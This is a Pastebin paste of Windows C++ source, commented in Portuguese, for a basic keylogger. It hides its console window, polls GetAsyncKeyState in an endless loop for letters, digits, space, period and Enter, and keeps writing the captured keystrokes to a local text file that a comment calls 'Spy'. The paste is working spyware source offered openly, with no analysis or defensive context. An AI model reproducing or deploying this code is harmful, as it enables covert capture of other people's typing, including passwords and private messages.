Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /// Bibliotecas
- #include <fstream>
- #include <iostream>
- #include <string.h>
- #include <windows.h>
- using namespace std;
- /// Programa
- int main ( int argc, char *argv[] )
- {
- // Tela Prompt: Invisível
- FreeConsole();
- // Construtor [ Objeto Arquivo ]
- fstream Arquivo;
- // Criação de Arquivo [Externo]: Spy.txt
- ofstream("Arquivo.txt");
- // Inicialização de Variáveis
- string teclas = "";
- // Estrutura de Repetição Infinita: Captura de Teclas [Hexadecimal]
- while(1)
- {
- // ALFABETO: [A - Z]
- if ( GetAsyncKeyState(0x41) )
- {
- teclas += "a";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x42))
- {
- teclas += "b";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x43) )
- {
- teclas += "c";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x44) )
- {
- teclas += "d";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x45) )
- {
- teclas += "e";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x46) )
- {
- teclas += "f";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x47) )
- {
- teclas += "g";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x48) )
- {
- teclas += "h";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x49) )
- {
- teclas += "i";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x4a) )
- {
- teclas += "j";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x4b) )
- {
- teclas += "k";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x4c) )
- {
- teclas += "l";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x4d) )
- {
- teclas += "m";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x4e) )
- {
- teclas += "n";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x4f) )
- {
- teclas += "o";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x50) )
- {
- teclas += "p";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x51) )
- {
- teclas += "q";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x52) )
- {
- teclas += "r";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x53) )
- {
- teclas += "s";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x54) )
- {
- teclas += "t";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x55) )
- {
- teclas += "u";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x56) )
- {
- teclas += "v";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x57) )
- {
- teclas += "w";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x58) )
- {
- teclas += "x";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x59) )
- {
- teclas += "y";
- Sleep(200);
- }
- else if ( GetAsyncKeyState(0x5a) )
- {
- teclas += "z";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x5A) )
- {
- teclas += "z";
- Sleep(200);
- }
- else if( GetAsyncKeyState(VK_SPACE) )
- {
- teclas += " ";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x6E) )
- {
- teclas += ".";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x0d) )
- {
- teclas += "<br>";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x30) )
- {
- teclas += "0";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x31) )
- {
- teclas += "1";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x32) )
- {
- teclas += "2";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x33) )
- {
- teclas += "3";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x34) )
- {
- teclas += "4";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x35) )
- {
- teclas += "5";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x36) )
- {
- teclas += "6";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x37) )
- {
- teclas += "7";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x38) )
- {
- teclas += "8";
- Sleep(200);
- }
- else if( GetAsyncKeyState(0x39) )
- {
- teclas += "9";
- Sleep(200);
- }
- // Abertura de Arquivo + Inserção de Teclas + Fechamento de Arquivo
- Arquivo.open("Arquivo.txt");
- Arquivo << teclas;
- Arquivo.close();
- }
- return (0);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement